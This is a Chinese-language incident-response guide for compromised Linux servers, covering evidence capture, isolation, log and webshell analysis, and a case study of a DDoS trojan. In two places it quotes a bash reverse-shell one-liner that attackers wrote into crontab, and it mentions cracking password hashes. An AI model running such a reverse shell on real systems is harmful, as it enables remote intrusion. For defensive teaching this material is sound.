101
人物
年關將至，服務器被入侵了怎麼辦？
作者介紹
林偉壕，網絡安全DevOps新司機，先後在中國電信和網易遊戲從事數據網絡、網絡安全和遊戲運維工作。對Linux運維、虛擬化和網絡安全防護等研究頗多，目前專注於網絡安全自動化檢測、防禦係統構建。
導讀：
遇到服務器被黑，很多人會采用拔網線、封iptables或者關掉所有服務的方式應急，但如果是線上服務器就不能立即采用任何影響業務的手段了，需要根據服務器業務情況分類處理。
下麵我們看一個標準的服務器安全應急影響應該怎麼做，也算是筆者從事安全事件應急近5年以來的一些經驗之談，借此拋磚引玉，希望大神們不吝賜教。
圖1將服務器安全應急響應流程分為發現安全事件（核實）、現場保護、服務器保護、影響範圍評估、在線分析、數據備份、深入分析、事件報告整理等8個環節。接下來我們將每個環節分解，看看需要如何斷開異常連接、排查入侵源頭、避免二次入侵等。
處理思路
一、核實信息（運維/安全人員）
根據安全事件通知源的不同，分為兩種：
-
外界通知：和報告人核實信息，確認服務器/係統是否被入侵。現在很多企業有自己的SRC（安全響應中心），在此之前更多的是依賴某雲。這種情況入侵的核實一般是安全工程師完成。
-
自行發現：根據服務器的異常或故障判斷，比如對外發送大規模流量或者係統負載異常高等，這種情況一般是運維工程師發現並核實的。
二、現場保護（運維）
我們很多人看過大陸的電視劇《重案六組》，每次接到刑事案件，刑警們第一時間就是封鎖現場、保存現場原狀。同樣道理，安全事件發生現場，跟刑事案件發生現場一樣，需要保存第一現場重要信息，方便後麵入侵檢測和取證。
-
保存現場環境(截圖)
相關信息采集命令如下：
進程信息：ps axu
網絡信息：netstat –a
網絡+進程：lsof / netstat -p
-
攻擊者登陸情況(截圖)
相關信息采集命令如下：
查看當前登錄用戶：w 或 who -a
三、服務器保護（運維/機房）
這裏的現場保護和服務器保護是兩個不同的環節，前者注重取證，後者注重環境隔離。
核實機器被入侵後，應當盡快將機器保護起來，避免被二次入侵或者當成跳板擴大攻擊麵。此時，為保護服務器和業務，避免服務器被攻擊者繼續利用，應盡快歉意業務，立即下線機器。
如果不能立即處理，應當通過配置網絡ACL等方式，封掉該服務器對網絡的雙向連接。
四、影響範圍評估（運維/開發）
一般是運維或者程序確認影響範圍，需要運維通過日誌或者監控圖表確認數據庫或者敏感文件是否泄露，如果是代碼或者數據庫泄露了，則需要程序評估危害情況與處置方法。
影響訪問評估一般從下麵幾點入手來：
-
具體業務架構：web(php/java， webserver)， proxy， db等。
-
IP及所處區域拓撲等：VLAN內服務器和應用情況；
-
確定同一網絡下麵服務器之間的訪問：可以互相登陸，是否需要key或者是密碼登錄。
由此確定檢查影響範圍，確認所有受到影響的網段和機器。
五、在線分析（安全人員/運維）
這時需要根據個人經驗快速在線分析，一般是安全人員和運維同時在線處理，不過會涉及多人協作的問題，需要避免多人操作機器時破壞服務器現場，造成分析困擾，之前筆者遇到一個類似的問題，就是運維排查時敲錯了iptables的命令，將iptables -L敲成iptables -i導致iptables-save時出現異常記錄，結果安全人員上來檢查時就被這條記錄迷惑了，導致處理思路受到一定幹擾。
1、所有用戶History日誌檢測
-
關鍵字：wget/curl， gcc， 或者隱藏文件， 敏感文件後綴（.c，.py，conf， .pl， .sh)；
-
檢查是否存在異常用戶；
-
檢查最近添加的用戶，是否有不知名用戶或不規範提權；
-
找出root權限的用戶；
可以執行以下命令檢查：
grep -v -E "^#" /etc/passwd | awk -F： '$3 == 0 { print $1}'
2、反連木馬判斷
-
netstat –a；
-
注意非正常端口的外網IP；
3、可疑進程判斷
-
判斷是否為木馬 ps –aux
-
重點關注文件（隱藏文件）， python腳本，perl腳本，shell腳本（bash/sh/zsh）；
-
使用which，whereis，find定位
4、Crontab檢測
不要用crontab –l查看crontab（繞過檢測），也有通過寫crontab配置文件反彈shell的，筆者接觸過幾次，一般都是使用的bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
5、係統日誌檢測
-
檢查sshd服務配置文件/etc/ssh/sshd_config和係統認證日誌auth、message，判斷是否為口令破解攻擊；
-
/etc/ssh/sshd_config文件確認認證方式；
-
確認日誌是否被刪除或者清理過的可能（大小判斷）；
-
last/lastb可以作為輔助，不過可能不準確；
6、NHIDS正常運行判斷
-
是否安裝：ls /etc/ossec
-
是否運行正常：ps axu |grep nhids 三個nhids進程則表示正常
7、其他攻擊分析
抓取網絡數據包並進行分析，判斷是否為拒絕服務攻擊，這裏需要注意，一定要使用-w參數，這樣才能保存成pcap格式導入到wireshark，這樣分析起來會事半功倍。
tcpdump -w tcpdump.log
六、安全相關的關鍵文件和數據備份（運維）
可以同步進行，使用sftp/rsync等將日誌上傳到安全的服務器。
-
打包係統日誌
參考：$ tar -jcvf syslog.tar.bz2 /var/log
-
打包web日誌：access log
-
打包history日誌（所有用戶），參考：
$ cp /home/user/。history user_history
-
打包crontab記錄
-
打包密碼文件：/etc/passwd， /etc/shadow
-
打包可疑文件、後門、shell信息
七、深入分析（安全人員）
初步鎖定異常進程和惡意代碼後，將受影響範圍梳理清楚，封禁了入侵者對機器的控製後，接下來需要深入排查入侵原因。一般可以從webshell、開放端口服務等方向順藤摸瓜。
1、Webshell入侵
-
使用webshell_check.py腳本檢測web目錄；
$ python webshell_check.py /var/www/ >result.txt
-
查找web目錄下所有nobody的文件，人工分析：
$ find /var/www –user nobody >nobody.txt
-
如果能確定入侵時間，可以使用find查找最近時間段內變化的文件；
$ find / -type f -name "\.?*" |xargs ls -l |grep "Mar 22"
$ find / -ctime/-mtime 8
2、利用Web漏洞直接反連shell
分析access.log
-
縮小日誌範圍：時間，異常IP提取
-
攻擊行為提取：常見的攻擊exp識別
3、係統弱口令入侵
認證相關日誌auth/syslog/message排查：
-
爆破行為定位和IP提取；
-
爆破是否成功確定：有爆破行為IP是否有accept記錄。
如果日誌已經被清理，使用工具（比如John the Ripper）爆破/etc/passwd，/etc/shadow。
4、其他入侵
其他服務器跳板到本機。
5、後續行為分析
-
History日誌：提權、增加後門，以及是否被清理。
-
Sniffer： 網卡混雜模式檢測 ifconfig |grep –i proc
-
內網掃描：網絡nmap/掃描器，socks5代理
-
確定是否有rootkit：rkhunter， chkrootkit， ps/netstat替換確認
6、後門清理排查
-
根據時間點做關聯分析：查找那個時間段的所有文件；
-
一些小技巧：/tmp目錄， ls –la，查看所有文件，注意隱藏的文件；
-
根據用戶做時間關聯：比如nobody；
7、其他機器的關聯操作
其他機器和這台機器的網絡連接 （日誌查看）、相同業務情況（同樣業務，負載均衡）。
八、整理事件報告（安全人員）
事件報告應包含但不限於以下幾個點：
-
分析事件發生原因：事件為什麼會發生的原因；
-
分析整個攻擊流程：時間點、操作；
-
分析事件處理過程：整個事件處理過程總結是否有不足；
-
分析事件預防：如何避免事情再次發生；
-
總結：總結事件原因，改進處理過程，預防類似事件再次發生。
九、處理中的遇到的比較棘手的事情
日誌和操作記錄全被刪了怎麼辦?
strace 查看 losf 進程，再嚐試恢複一下日誌記錄，不行的話鏡像硬盤數據慢慢查。這個要用到一些取證工具了，dd硬盤數據再去還原出來。
係統賬號密碼都修改了，登不進去?
重啟進單用戶模式修改root密碼，或者通過控製卡操作，或者直接還原係統。都搞不定就直接重裝吧。
使用常見的入侵檢測命令未發現異常進程，但是機器在對外發包，這是怎麼回事？
這種情況下很可能常用的係統命令已經被攻擊者或者木馬程序替換，可以通過md5sum對比本機二進製文件與正常機器的md5值是否一致，如果發現不一致，肯定是被替換了，可以從其他機器上拷貝命令到本機替換，或者alias為其他名稱，避免為惡意程序再次替換。
被getshell怎麼辦？
-
漏洞修複前，係統立即下線，用內網環境訪問。
-
上傳點放到內網訪問，不允許外網有類似的上傳點，有上傳點，而且沒有校驗文件類型很容易上傳webshell。
-
被getshell的服務器中是否有敏感文件和數據庫，如果有請檢查是否有泄漏。
-
hosts文件中對應的host關係需要重新配置，攻擊者可以配置hosts來訪問測試環境。
-
重裝係統。
案例分析
上麵講了很多思路的東西，相信大家更想看看實際案例，下麵介紹兩個案例。
先講一個別人處理的，基本處理過程就是：
通過外部端口掃描收集開放端口信息，然後獲取到反彈shell信息，登陸機器發現關鍵命令已經被替換，後麵查看history記錄，發現疑似木馬文件，通過簡單逆向和進程查看發現了異常進程，從而鎖定了入侵原因。具體內容可以查看：https://www.freebuf.com/articles/system/50728.html
再講一個筆者實際處理過的，基本處理流程跟上麵提到的思路大同小異。
整個事情處理經過大致如下：
1、運維發現一台私有雲主機間歇性的對外發送高達800Mbps的流量，影響了同一個網段的其他機器。
2、安全人員接到通知後，先確認了機器屬於備機，沒有跑在線業務，於是通知運維封禁iptables限製外網訪問。
3、運維為安全人員臨時開通機器權限，安全人員通過history和ps找到的入侵記錄和異常進程鎖定了對外大量發包的應用程序，清理了惡意進程並刪除惡意程序。
惡意進程如下，經過在網絡搜索發現是一種DDOS木馬，但沒有明確的處理思路：
/usr/bin/bsd-port/getty/usr/bin/acpid./dbuspm-session /sbin/DDosClient RunByP4407/sbin/DDosClient RunByPM4673
處理過程中，安全人員懷疑係統文件被替換：
通過對比該機器與正常機器上麵的ps、netstat等程序的大小發現敏感程序已經被替換，而且mtime也被修改。
正常機器
du -sh /bin/ps
92K /bin/ps
du -sh /bin/netstat
120K /bin/netstat
被入侵機器
du -sh /bin/netstat
2.0M /bin/netstat
du -sh /bin/ps
2.0M /bin/ps
將部分常用二進製文件修複後，發現異常進程被kill掉後仍重啟了，於是安裝殺毒軟件clamav和rootkit hunter進行全盤掃描，從而確認了被感染的所有文件，將那些可以刪除的文件刪除後再次kill掉異常進程，則再沒有重啟的問題。
4、影響範圍評估
由於該機器隻是備機，上麵沒有敏感數據，於是信息泄露問題也就不存在了。
掃描同一網段機器端口開放情況、排查被入侵機器history是否有對外掃描或者入侵行為，為此還在該網段機器另外部署蜜罐進行監控。
5、深入分析入侵原因
通過被入侵機器所跑服務、iptables狀態，確認是所跑服務支持遠程命令執行，且機器iptables為空導致黑客通過往/etc/crontab中寫“bash -i >& /dev/tcp/10.0.0.1/8080 0>&1”命令方式進行shell反彈，從而入侵了機器。
6、驗證修複、機器下線重裝
進行以上修複操作後，監控未發現再有異常，於是將機器下線重裝。
7、完成安全事件處理報告
每次安全事件處理後，都應當整理成報告，不管是知識庫的構建，還是統計分析安全態勢，都是很有必要的。
這次主要介紹了服務器被入侵時推薦的一套處理思路。實際上，安全防護跟運維思路一樣，都是要防患於未然，這時候的審計或者響應其實很難避免危害的發生了，我們更希望通過安全意識教育、安全製度的建設，在問題顯露端倪時即可消弭於無形。
原文發布時間為：2017-01-25
本文來自雲棲社區合作夥伴DBAplus
最後更新：2017-05-15 18:01:49